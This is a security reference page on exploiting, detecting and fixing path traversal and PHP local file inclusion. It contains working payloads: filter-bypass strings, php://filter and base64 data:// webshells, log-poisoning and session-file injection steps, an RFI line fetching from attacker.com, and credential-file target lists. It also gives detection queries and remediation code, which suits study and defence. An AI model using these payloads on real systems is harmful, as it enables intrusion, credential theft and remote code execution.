
Path Traversal and Local File Inclusion
Exploiting path traversal and local file inclusion, with filter bypasses, PHP wrappers, null bytes and log poisoning for RCE.
Introduction
Path traversal exploits the web server's failure to canonicalize user-supplied file paths before using them to open files on disk. When an application accepts a file or page parameter and passes it straight to a file-open call (fopen(), include(), readfile()), the attacker decides which file gets read. The operating system resolves ../ itself, so the only obstacle is whatever filtering the application does before the call.
Local File Inclusion (LFI) goes one step further: the PHP runtime executes the included file as PHP code instead of returning its contents. That turns any readable file you can write into, such as a log, into code execution. An Apache access log line containing <?php system($_GET['cmd']); ?> in the User-Agent field becomes a webshell the moment /var/log/apache2/access.log is passed to include().
On Windows targets, the path separator is \ but both \ and / are accepted by most functions. The equivalent of /etc/passwd is C:\Windows\win.ini, which is always present and readable by everyone. NTFS alternate data streams (file.txt::$DATA) occasionally matter when path construction logic strips extensions before opening.
Authorization required
Test only systems you own or have written permission to test. Log poisoning and session file inclusion write attacker-controlled content into production log and session files, and a broken PHP payload in a log can break every later inclusion of it. Agree on these steps with the client before running them.
Impact
- Read
/etc/shadow,~/.ssh/id_rsa,.envfiles, and application configuration containing database credentials - Disclose PHP source via
php://filterwrappers, exposing business logic and additional vulnerabilities - Escalate from LFI to full RCE via log poisoning, session file inclusion, or
/proc/self/environinjection - Read
/proc/net/tcpto map internal network services not reachable from the outside - Extract AWS IAM credentials from
/proc/1/environor application containers - Bypass authentication by reading session stores or JWT signing secrets
- Chain with SSRF to read internal service responses via
file://URIs
Technical details
Path traversal works because applications construct file paths by concatenating a user-supplied value onto a base directory without calling realpath() first. The OS resolves .. segments as it walks the directory tree, so ../../../../etc/passwd from /var/www/html/files/ resolves to /etc/passwd.
LFI works differently: PHP's include(), include_once(), require(), and require_once() all execute the included file as PHP. The file does not need a .php extension. A log file, a session file, or any file that contains a valid PHP tag gets parsed. The PHP interpreter reads until it finds <?php, executes everything inside, and outputs the rest as-is.
Filter bypass techniques
Applications attempt to prevent traversal by stripping or blocking ../. Every naive approach has a bypass:
| Defense | Bypass | Notes |
|---|---|---|
Strip ../ once | ....// or ..././ | After stripping ../, ....// becomes ../ |
Block URL-decoded ../ | %2e%2e%2f | Single URL encoding |
| Decode once, then block | %252e%252e%252f | Double encoding: %25 decodes to %, then the second decode gives ../ |
Block on ../ only | ..\ on Windows | Alternate separator accepted by Win32 API |
Require prefix /var/www/html/ | /var/www/html/../../../../etc/passwd | Prepend the required base path before traversal |
Null byte strip after %00 | N/A (PHP ≥ 5.3.4 patched) | ../../etc/passwd%00.jpg used to truncate extension on older PHP |
Extension enforcement .php | php://filter wrappers | Bypass by using a stream wrapper instead of a path |
PHP stream wrappers
PHP exposes several built-in stream wrappers that include() and file_get_contents() both accept:
php://filter reads a file through a chain of filters before returning it. Base64-encoding the output prevents the PHP parser from executing the file and returns the raw source:
php://filter/convert.base64-encode/resource=index.php
php://filter/read=convert.base64-encode/resource=../../config/database.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.phpphp://input reads from the POST body. If allow_url_include=On (default Off since PHP 5.2), including php://input executes the POST body as PHP code.
data:// embeds data inline as a URI. Same allow_url_include=On requirement:
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+That base64 decodes to <?php system($_GET['cmd']); ?>.
expect:// (from the PECL expect extension, rarely enabled) executes a command directly: expect://id.
LFI to RCE escalation paths
Log poisoning is the most reliable LFI to RCE path on Apache/Nginx. The access log records the User-Agent verbatim. Send a crafted request, then include the log:
- Poison the log with a PHP stub in the User-Agent header
- Include the log file via the LFI parameter
- Pass
cmdas a GET parameter to the included webshell
Apache logs: /var/log/apache2/access.log, /var/log/apache2/error.log
Nginx logs: /var/log/nginx/access.log, /var/log/nginx/error.log
SSH auth log (/var/log/auth.log, inject through the SSH username): ssh '<?php system($_GET["cmd"]); ?>'@target
/proc/self/environ contains the process's environment variables, which include HTTP_USER_AGENT. On older kernels (pre-2010 era), this was a common LFI to RCE path. Still occasionally seen on embedded/IoT targets.
PHP session files. PHP writes session data to /tmp/sess_<PHPSESSID>. If a session value is user-controlled and unsanitized, write a PHP payload into a session variable, then include /tmp/sess_<id>:
Cookie: PHPSESSID=abc123
POST body: username=<?php system($_GET['cmd']); ?>Then: ?page=../../../../tmp/sess_abc123
/proc/self/fd/. Each open file descriptor for the current process is readable via /proc/self/fd/<n>. File descriptor 0 is stdin, 1 is stdout, 2 is stderr. Apache/PHP-FPM processes typically have the error log open at a numbered fd. Brute-force fd numbers:
?page=../../../../proc/self/fd/10
?page=../../../../proc/self/fd/11Remote File Inclusion (RFI) requires allow_url_include=On, which is disabled by default since PHP 5.2 and almost never enabled in modern deployments. When it is enabled:
?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.txtHigh-value target files
/etc/passwd # User enumeration
/etc/shadow # Password hashes (requires root read)
/etc/hosts # Internal network mapping
/proc/net/tcp # Open TCP connections (hex-encoded)
/proc/self/environ # Process environment variables
/proc/self/cmdline # Application invocation
~/.ssh/id_rsa # Private key (if web process = app user)
~/.ssh/authorized_keys
/var/www/html/.env # Laravel/Symfony/common framework credentials
/var/www/html/config/database.yml # Rails DB config
/var/www/html/wp-config.php # WordPress DB credentials
/etc/apache2/apache2.conf # Apache config, document root confirmation
/etc/nginx/nginx.conf
/etc/php/8.x/apache2/php.ini # PHP config, disabled functions
C:\Windows\win.ini # Windows traversal confirmation target
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\wwwroot\web.config # IIS credentials, connection stringsAttack tools
DotDotPwn is purpose-built for path traversal fuzzing across protocols (HTTP, FTP, TFTP, STDOUT).
dotdotpwn -m http -h target.com -u "http://target.com/view.php?page=TRAVERSAL" \
-f /etc/passwd -d 8 -t 200 -o unix -Xdotdotpwn -m ftp -h target.com -U ftpuser -P ftppass -d 6 -f /etc/passwdKey flags:
| Flag | Meaning |
|---|---|
-d | Maximum traversal depth |
-f | Target file to read |
-t | Time between requests (ms) |
-o unix|windows|unix-windows | OS type |
-X | Use only exact match traversal strings (faster) |
-b | Break on first find |
-C | Cookie string: -C "PHPSESSID=abc123" |
Detection
Web application firewall signatures
ModSecurity Core Rule Set (CRS) triggers on:
../sequences in parameter values (Rule 930100, 930110)- URL-encoded traversal sequences (Rule 930120)
- Common LFI target paths like
/etc/passwd,win.ini(Rule 930130)
WAF evasion attempts that also trip detection:
- Multiple encodings in a single request
- Unusually long path parameters (>200 chars of
../sequences) php://filteranddata://wrapper usage
Access log patterns
grep -E "(\.\./|%2e%2e|%252e|\.\.\\\\)" /var/log/apache2/access.loggrep -iE "(php://filter|php://input|data://|expect://)" /var/log/apache2/access.loggrep -iE "(/etc/passwd|/etc/shadow|win\.ini|\.ssh/id_rsa|/proc/self)" /var/log/apache2/access.logSIEM / detection logic
For Elastic/Splunk, correlate on:
- HTTP 200 responses to requests containing
../or encoded equivalents. Failed traversal attempts usually return 404 or 403; successful ones return 200 with file content - Sudden appearance of
<?phpin User-Agent strings (log poisoning setup) - Requests to
access.log,error.log,auth.logpath fragments - High-frequency requests from a single IP to the same endpoint with varying path depth (automated fuzzing pattern)
Elastic query:
{
"query": {
"bool": {
"must": [
{ "match": { "http.response.status_code": 200 } },
{ "regexp": { "url.query": ".*(\\.\\./|%2e%2e|%252e).*" } }
]
}
}
}Splunk SPL
index=web_logs status=200
| regex uri_query="(\.\./|%2e%2e|%252e|php://filter|data://)"
| stats count by src_ip, uri_path, uri_query
| where count > 3Remediation
Canonicalize before using. PHP's realpath() resolves all ../ sequences and symlinks, returning the absolute path. Compare the result against the allowed base directory:
$base = realpath('/var/www/html/templates');
$requested = realpath($base . '/' . $_GET['page']);
if ($requested === false || strpos($requested, $base . DIRECTORY_SEPARATOR) !== 0) {
http_response_code(403);
exit('Access denied');
}
include $requested;Allowlist, don't blocklist. If the application only needs to include a finite set of templates, map user input to allowed filenames explicitly:
$allowed = [
'home' => 'templates/home.php',
'contact' => 'templates/contact.php',
'about' => 'templates/about.php',
];
$page = $_GET['page'] ?? 'home';
if (!array_key_exists($page, $allowed)) {
http_response_code(404);
exit();
}
include $allowed[$page];Disable dangerous PHP settings in php.ini:
allow_url_fopen = Off
allow_url_include = Off
open_basedir = /var/www/html:/tmpopen_basedir restricts all file operations (including include) to the listed directories. It is not a complete control, since proc_open() and some extensions ignore it, but it stops most traversal and inclusion payloads.
Chroot the web process. Running PHP-FPM in a chroot jail or container limits the filesystem tree the process can traverse. Even a successful ../../../../etc/passwd read fails if /etc does not exist inside the chroot.
Log file permissions. Apache/Nginx log files should not be readable by the www-data user. Set 640 with ownership root:adm. This breaks the log poisoning vector without affecting log rotation.
chmod 640 /var/log/apache2/access.log /var/log/apache2/error.log
chown root:adm /var/log/apache2/access.log /var/log/apache2/error.logSession file security. Store PHP sessions in a directory the web user cannot include:
session.save_path = /var/lib/php/sessionsEnsure /var/lib/php/sessions is outside open_basedir for read operations, or use an encrypted session handler that stores data in a database instead of flat files.
References
MITRE ATT&CK techniques
- T1083 - File and Directory Discovery
- T1552.001 - Unsecured Credentials: Credentials In Files
- T1190 - Exploit Public-Facing Application
Tools documentation
- DotDotPwn - The Directory Traversal Fuzzer
- ffuf - Fast Web Fuzzer
- SecLists LFI Wordlists
- PayloadsAllTheThings - File Inclusion
- HackTricks - LFI2RCE
- PHP Manual - Supported Protocols and Wrappers
Next steps
SQL Injection
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.
Server-Side Request Forgery
Exploiting SSRF for cloud metadata credentials, internal port scanning and Redis via gopher, with filter bypasses and blind SSRF over out-of-band callbacks.
XXE Injection
Exploiting XML external entities for file reads, SSRF and blind out-of-band exfiltration, including XXE through SVG and Office uploads.
Directory Listing
How directory listing (indexing) can leak sensitive files and metadata, why it matters, and practical mitigations for web servers and cloud storage.
Outdated JavaScript Dependencies
What outdated JavaScript dependencies expose (XSS, prototype pollution, RCE), how to find them with npm audit, Snyk and OSV-Scanner, and how to keep them patched.
SQL Injection: Attack Guide
Finding and exploiting SQL injection: in-band, blind and out-of-band techniques, per-database payloads, WAF bypasses, sqlmap and fixes.